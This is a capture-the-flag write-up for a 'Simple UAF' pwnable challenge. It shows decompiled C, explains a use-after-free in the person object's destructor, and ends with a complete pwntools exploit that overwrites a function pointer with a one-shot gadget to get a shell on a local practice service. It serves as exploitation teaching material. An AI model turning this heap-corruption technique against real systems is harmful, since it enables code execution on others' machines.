# [PWNABLE] Simple UAF
:::warning
Copyrightⓒ2021 by CSTEC. All contents cannot be copied without permission.
:::
## Analysis
```c
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v4; // [rsp+8h] [rbp-8h] BYREF
int v5; // [rsp+Ch] [rbp-4h] BYREF
v5 = 0;
v4 = 0;
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
system_addr = get_function("libc.so.6", "system");
printf("You will thank you for this : %p\n", (const void *)(system_addr - (unsigned int)system_offset));
while ( 1 )
{
menu();
__isoc99_scanf("%d", &v5);
switch ( v5 )
{
case 1:
if ( (unsigned int)person_index <= 4 )
addPerson();
break;
case 2:
printf("index : ");
__isoc99_scanf("%d", &v4);
if ( v4 < person_index )
modifyPerson(v4);
break;
case 3:
printf("index : ");
__isoc99_scanf("%d", &v4);
if ( v4 < person_index )
deletePerson(v4);
break;
case 4:
printf("index : ");
__isoc99_scanf("%d", &v4);
if ( v4 < person_index )
showPersonInfo(v4);
break;
case 5:
return 0;
default:
continue;
}
}
}
```
It is kind of a menu challenge that usual in CTF.
When this binary is excuted, it print libc base and we can use 4 function that `addPerson`, `modifyPerson`, `deletePerson` and `showPerson`.
```c
void *addPerson()
{
unsigned int v0; // eax
__int64 v1; // rcx
void *result; // rax
char v3[96]; // [rsp+0h] [rbp-70h] BYREF
int v4; // [rsp+60h] [rbp-10h]
unsigned int v5; // [rsp+64h] [rbp-Ch] BYREF
void (__fastcall **v6)(void *, _QWORD, char *); // [rsp+68h] [rbp-8h]
v5 = 0;
memset(v3, 0, sizeof(v3));
v4 = 0;
v6 = (void (__fastcall **)(void *, _QWORD, char *))malloc(0x30uLL);
setConstructor(v6);
printf("name : ");
__isoc99_scanf("%100s", v3);
printf("age : ");
__isoc99_scanf("%d", &v5);
v6[2](v6, v5, v3);
v0 = person_index++;
v1 = 8LL * v0;
result = &list;
*(_QWORD *)((char *)&list + v1) = v6;
return result;
}
```
Person object would be created when `addPerson` is called. We can notice that there is `setConstructor` function is called in `addPerson`.
```c
__int64 __fastcall setConstructor(__int64 a1)
{
__int64 result; // rax
result = a1;
*(_QWORD *)(a1 + 16) = personConstructor;
return result;
}
```
`setConstructor` function would add a constructor named `personConstructor` to person object.
```c
char *__fastcall personConstructor(__int64 a1, int a2, const char *a3)
{
unsigned int n; // [rsp+2Ch] [rbp-4h]
n = strlen(a3);
*(_QWORD *)(a1 + 24) = printInfo;
*(_QWORD *)(a1 + 32) = modifyName;
*(_QWORD *)(a1 + 40) = personDestructor;
*(_DWORD *)a1 = a2;
if ( n > 0x63 )
{
*(_QWORD *)(a1 + 8) = malloc(0x64uLL);
return strncpy(*(char **)(a1 + 8), a3, 0x64uLL);
}
else
{
*(_QWORD *)(a1 + 8) = malloc(n + 1);
return strncpy(*(char **)(a1 + 8), a3, n);
}
}
```
In `personConstructor` 3 function ponter will be added in person object and name string is also added.
## Vulnerability
```c
__int64 __fastcall deletePerson(int a1)
{
return (*(__int64 (__fastcall **)(_QWORD))(list[a1] + 40LL))(list[a1]);
}
```
We can arbitrary call `deletePerson` function if our index input is below to `person_index`.
```c
void __fastcall personDestructor(void **a1)
{
free(a1);
free(a1[1]);
}
```
As we checked in `personConstructor`, 40 offset from person object is `personDestructor` function. `personDestructor` will free person object and name of the person object.
```c
if ( n > 0x63 )
{
*(_QWORD *)(a1 + 8) = malloc(0x64uLL);
return strncpy(*(char **)(a1 + 8), a3, 0x64uLL);
}
else
{
*(_QWORD *)(a1 + 8) = malloc(n + 1);
return strncpy(*(char **)(a1 + 8), a3, n);
}
```
In `personConstructor`, if `n` is less than 0x63, we can `malloc` that arbitrary size. This means we can arbitrary `free` and `malloc` freely, so we are able to think about `use-after-free` exploit way.
## Exploit
```python
from pwn import *
p = remote('localhost', 7714)
elf = ELF('./simple_uaf')
p.recvuntil('this : ')
libcbase = int(p.recvuntil('\n')[:-1],16)
oneshot_offset = 0x10a38c
p.sendlineafter('> ', '1')
p.sendlineafter(': ', 'A'*47)
p.sendlineafter(': ', '1234')
p.sendlineafter('> ', '3')
p.sendlineafter(': ', '0')
p.sendlineafter('> ', '1')
p.sendlineafter(': ', 'asdf')
p.sendlineafter(': ', '1234')
p.sendlineafter('> ', '2')
p.sendlineafter(': ', '0')
p.sendlineafter(': ', b'A'*40 + p64(libcbase + oneshot_offset))
p.sendlineafter(': ', '1234')
p.interactive()
```
A exploit starts that free a person object after created. Then, it creates another person object. At this point, a name of second person object is going to point first person object. Therefore we can edit first person object via modify the name of second person object. Because of there are some fuction pointer in person object, we can use one shot gadget to overwrite this function pointer.